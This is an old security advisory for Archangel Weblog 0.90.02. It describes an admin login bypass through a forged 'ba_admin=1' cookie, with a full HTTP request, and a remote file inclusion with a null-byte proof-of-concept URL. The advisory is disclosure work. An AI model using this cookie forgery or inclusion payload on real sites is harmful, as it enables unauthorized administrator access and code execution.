Archangel Weblog 0.90.02 Admin Authentication Bypass & Remote File Inclusion

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KingOfSka - http://www.cpc.info.ms
Contro Potere Crew Advisories #5 26/02/2006
http://www.archangelmgt.com/
Archangel Weblog 0.90.02 Admin Authentication Bypass & Remote File Inclusion
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#1:. Background :
Archangel Weblog is a new, full featured weblog application. Written in PHP and using a MySQL
database backend, Archangel Weblog is easy to install, easy to configure and customize, and easy to use for
most anyone.
#2:. The Bug :
The bug is caused by an insufficient filtering of user submitted input.A malicious user, could easily
forge cookies to obtain unauthorized administrator credentials, and trhough the administration panel is
possible to perform a Local\Remote File Inclusion.
#3:. Exploiting :

    To get administrator access to the weblog script, just use a get request like this:

[http get request]
    GET http://127.0.0.1/awb/admin/index.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051229 Firefox/1.0.7
    Accept:

text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: ba_admin=1
Cache-Control: max-age=0
[/http get request]

    or just add the cookie to your request..
    Now, take a look at /admin/index.php , line 54:

    <?php include($index . ".php"); ?>

    So, arbitrary file inclusion is possible, by using NULL char to filter out the .php extension.
    PoC:
    http://127.0.0.1/awb/admin/index.php?index=http://www.google.it%00

#4:. Vendor Status / Patch :

    No Contact

#5:. Links :
http://contropotere.netsons.org/kingofska.asc - Public GnuPG Key
http://contropotere.netsons.org - Contro Potere Crew Forums , here you can ask for an
unofficial patch or for more info.
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